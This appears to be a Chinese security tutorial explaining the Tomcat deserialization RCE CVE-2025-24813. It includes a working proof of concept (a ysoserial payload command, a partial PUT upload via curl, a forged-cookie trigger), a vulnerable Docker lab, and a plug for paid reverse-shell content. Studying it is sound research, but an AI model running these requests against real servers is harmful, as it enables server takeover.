资讯动态

一个假名字喊一声“到“,Tomcat 服务器就没了(CVE-2025-24813)

发布时间:2026/9/30 23:02:30 来源:尧图企业网站定制
漏洞利用演示视频 【点名一声到Tomcat服务器没了CVE-2025-24813 高危 RCE】发生了什么先说最反常识的一点Apache Tomcat 这个编号CVE-2025-24813的远程代码执行漏洞你把 Tomcat 默认装完它根本打不了。所有中招的服务器都是管理员亲手改了两个配置。而这两个配置单独看一个为了方便远程更新文件一个为了重启不丢登录状态谁都不觉得自己在开门。具体是两个很常见的运维需求。一个是 WebDAV团队想像操作网盘一样直接在远程目录拖文件、改文档于是把 Tomcat 处理静态文件的 DefaultServlet 从只读改成可写PUT 请求能写文件了。另一个是会话保持Tomcat 一重启默认放在内存里的登录状态全清空所有用户被挤下线于是配上 PersistentManager FileStore把 Session 数据写成文件存到磁盘重启后资料还在。没人是抱着开后门的心态改的但门就是这么开的。我把这个洞记成一次点名。服务器像个照着点名册点名的老师但他从不抬头核对。黑客先往点名册里写了个假名字——写的时候路径里的斜杠被服务器自动收成了点存下来的文件名格式居然完全合法混进了册子里。然后黑客带着对应的会员卡来访问老师一念这个名字黑客举手答到。答到的瞬间服务器开始反序列化黑客准备的恶意数据攻击者的命令在服务器上执行。我在授权靶场里走完这条链最终拿到了这台 Tomcat 的最高权限命令行身份是 rootid回显uid0(root)。远程代码执行英文缩写 RCE意思是人在外面却能让你的服务器替他跑命令。Tomcat 又是国内企业后台用得极多的 Java Web 服务器这个洞的分量你可以掂量一下。把危害边界说清楚在授权测试的语境下这条链走到终点攻击者可获取服务器权限——服务器上的文件、运行的业务、配置里的数据库口令都暴露在对方面前。这也是为什么这类漏洞在官方通告里直接定到高危它不是泄露某一条数据而是整台机器易主。至于拿到权限之后的进一步动作属于另一个话题这篇只讲这台 Tomcat 是怎么被答到的。反过来还有个让人稍感安慰的事实正因为门是配置打开的排查和处置也异常干脆——把两个配置收回默认、升级版本洞当场就封死了。修复部分我在付费文里列成了逐条工单还附了一个只做检测、不做破坏的自检脚本。本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。有多严重——POC验证POC 是 Proof of Concept 的缩写就是一段证明漏洞真实存在的最小验证。完整过程贴在下面你可以在自己的授权靶场里复现。先补三个最小概念不懂这三个后面像听天书。Session会话HTTP 协议记不住人服务器给你发张会员卡编号叫 JSESSIONID写在 Cookie 里刷卡它就认得你。卡背后的数据默认存在内存里。序列化/反序列化把 Java 内存里的对象压成字节存盘或传输叫序列化像把乐高拆成零件装盒把字节拼回对象叫反序列化。拼的时候会执行对象自带的方法——攻击者做一盒毒乐高拼的时候命令就跑了。PUT 请求GET 看东西POST 交数据PUT 往服务器写文件。Tomcat 默认只读readonlytruePUT 写不进去。第一步生成恶意序列化数据用 ysoserial这是 Java 反序列化验证里最常用的工具内置了很多现成的链。靶场 lib 目录里有 commons-collections-3.2.1 这个库对应的链叫 CommonsCollections6简称 CC6。java-jarysoserial.jar CommonsCollections6touch /tmp/pwnedpayload.ser这条命令生成 payload.ser里面是精心构造的序列化字节作用是让目标在 /tmp 下建一个叫 pwned 的文件。多解释一句 CC6 到底干了什么。gadget 直译是小工具在反序列化里指程序自带的一串现成类和方法攻击者把它们像多米诺骨牌排好反序列化推倒第一张后面一张接一张触发最后一张执行命令。CC6 这条链用的是 commons-collections 库里几个会自动调用指定方法的工具类。这也解释了为什么靶场要专门把这个 jar 放进 lib 目录——骨牌材料不齐链就起不来。第二步PUT 上传让假名字混进点名册请求必须伪装成没传完的半截上传Tomcat 才会把内容存成临时文件才会发生斜杠变点SIZE$(stat-c%s payload.ser)TOTAL$((SIZE1))curl-s-o/dev/null-wHTTP %{http_code}\n\-XPUT\-HContent-Range: bytes 0-$((SIZE-1))/$TOTAL\-HContent-Length:$SIZE\--data-binary payload.ser\http://{业务目标ip}:8080/deserialize/session两个关键字段Content-Range 是断点续传字段完整格式是bytes 起始-结束/总长。我把总长设成实际大小加 1服务器读到的意思是文件还差一点没传完于是先存临时文件等后续这个等后续就是要钻的窗口路径/deserialize/session里的斜杠在临时文件命名时被替换成点文件名变成.deserialize.session——恰好是会话文件的标准格式{会话编号}.session。进容器确认假名字已经在册子里了dockercomposeexectomcatls-al/usr/local/tomcat/work/Catalina/localhost/ROOT第三步带假 Cookie 触发curl-s-o/dev/null-wHTTP %{http_code}\n\-HCookie: JSESSIONID.deserialize\http://{业务目标ip}:8080/服务器看到 JSESSIONID 是.deserialize去目录里读.deserialize.session反序列化恶意对象被还原命令执行。验证dockercomposeexectomcatls-al/tmppwned 文件出现漏洞验证完成。受影响版本和修复版本一并列出大版本受影响范围修复版本9.x9.0.0.M1 ~ 9.0.989.0.99 及以上10.x10.1.0-M1 ~ 10.1.3410.1.35 及以上11.x11.0.0-M1 ~ 11.0.211.0.3 及以上补一个新手特别容易踩的判断误区触发请求有时返回 500 而不是 200别急着判定失败。反序列化触发时恶意命令先执行之后服务器内部流程因为这个假会话报错才回 500。换句话说500 有时恰恰是反序列化真的发生了的侧面证据。判断成败永远以目标上的实际结果为准——pwned 有没有建出来状态码只能参考。环境怎么搭Vulhub 上这个环境的原始目录有缺失直接起复现不了我按漏洞原理重构了三个文件放进同一目录Dockerfile、docker-compose.yml、commons-collections-3.2.1.jar。DockerfileFROM tomcat:9.0.97-jdk8 LABEL maintainervulhub COPY commons-collections-3.2.1.jar /usr/local/tomcat/lib/ RUN set -ex \ mkdir -p /usr/local/tomcat/webapps/ROOT \ echo htmlbodyTomcat CVE-2025-24813 Vulnerable Environment/body/html /usr/local/tomcat/webapps/ROOT/index.jsp \ sed -i /load-on-startup1\/load-on-startup/i \ init-param\n param-namereadonly/param-name\n param-valuefalse/param-value\n /init-param /usr/local/tomcat/conf/web.xml \ sed -i /\/Context/i \ Manager classNameorg.apache.catalina.session.PersistentManager\n Store classNameorg.apache.catalina.session.FileStore/\n /Manager /usr/local/tomcat/conf/context.xmldocker-compose.ymlservices:tomcat:build:.ports:-8080:8080启动dockercompose up-d浏览器访问http://{业务目标ip}:8080看到 Vulnerable Environment 字样即成功。基础镜像是 9.0.97落在受影响范围CC 库、readonlyfalse、会话落盘三个条件 Dockerfile 已经一次性配齐启动后可以进容器逐项 grep 确认。启动后建议花一分钟把配置确认一遍避免后面打不动时怀疑人生dockercomposeexectomcatgrep-A1readonly/usr/local/tomcat/conf/web.xml|grepfalsedockercomposeexectomcatgrepPersistentManager /usr/local/tomcat/conf/context.xmldockercomposeexectomcatls/usr/local/tomcat/lib/commons-collections-3.2.1.jar三条命令分别对应 PUT 可写、会话落盘、gadget 库齐备都有回显环境才算真的就绪。真正的门槛在哪POC 跑到 pwned很多人会觉得这洞也就这样。但你注意一下结果我们只是让服务器建了个空文件并没有真正拿到它。从能执行一条命令到拿到一条随敲随应的 Shell中间的坑一个接一个。我挨个点给你看但不给解法——这是付费内容的边界也是这个洞真正值钱的地方。第一道坎经典反弹命令直接塞进 CC6监听口一动不动。bash、sh、python 写法全试过一样沉默。根因藏在 Java 执行命令的方式里CC6 底层调用命令时不经过 Shell而反弹写法里那些重定向、特殊路径全是 Shell 才认识的语法塞进去就是一堆普通字符。你得先搞懂命令到底被拆成了什么才谈得上绕过。第二道坎想让目标先下载一个脚本再执行脚本确实能拉下来攻击机日志里有记录但在同一个 Payload 里紧接着执行就是不成功。一次反序列化还原和两条命令的先后顺序之间的矛盾不亲手撞一次很难意识到。第三道坎抓包工具图形界面里改 PUT 报文二进制序列化数据被改坏怎么触发都失败同一个路径重复 PUT服务器直接回 409。这些是流程层面的坑和原理无关但能让你对着屏幕怀疑人生。多数人失败的核心原因把上面三道坎归一下类你会发现多数人卡死不是卡在不会用工具而是卡在两个认知缺口上。第一个缺口以为能执行命令和能拿到 Shell是一回事。命令执行只是让目标替你跑一次动作而 Shell 要的是一条持续的、双向的通道——你发指令、它回结果中间涉及网络连接、输入输出重定向、进程关系任何一环没接上通道就是断的。第二个缺口不知道 Java 执行外部命令和我们在终端敲命令机制完全不同。终端里有 Shell 帮你解读符号、串联步骤Java 直接执行时没有这个角色你以为写出去的是一条完整命令它收到的却是一堆被空格切开的碎片。这个弯转不过来换多少 payload 写法都是徒劳。再往深说这些坎背后是两个体系性的知识点一是 Java 反序列化 gadget 链怎么一步步把还原对象变成执行命令二是 Java 命令执行的字符串拆分机制。网上的公开 POC 只告诉你用 CC6不会告诉你为什么你的命令跑不起来——因为作者大概率自己也只走到了 pwned。说句实在话这些坑我在靶场里挨个踩、挨个查耗了大半天。你可以自己从头撞也可以直接看我把完整排查过程整理好的版本。还有个隐性成本值得提就算 Shell 弹回来了怎么确认拿到的是什么身份、怎么把命令结果稳定看全、怎么避免一条错误命令把通道弄断这些都是 POC 不会覆盖、但实战里立刻撞上的问题。在靶场里多断几次比在真实环境里手忙脚乱强得多。如果你想走完这条路我把从环境搭建、POC 验证到两阶段反弹 Shell 的完整过程——包括每一次失败的现象、根因怎么查出来的、最终绕过方案的逐行拆解还有四个踩坑点的完整复盘——都整理在了文章《【GetShell】Apache Tomcat 远程代码执行漏洞CVE-2025-24813》这一篇免费文给你看洞的全貌和 POC那篇带你真正拿到服务器两篇搭配着看。专栏的名字叫高危漏洞深度利用—零基础GetShell的全链路实战指南 点击进入专栏。核心就一条规矩不止于 POC 复现每篇文章必须走到拿下服务器。如果你不想自己从头踩一遍命令能执行却拿不到 Shell的坑可以翻翻。本篇文章的完整演示视频就在文首点开放心看整条链的节奏和文章里写的完全一致。复现过程中有问题直接评论区留言我看到了会回。本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境禁止对任何未授权系统进行测试。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑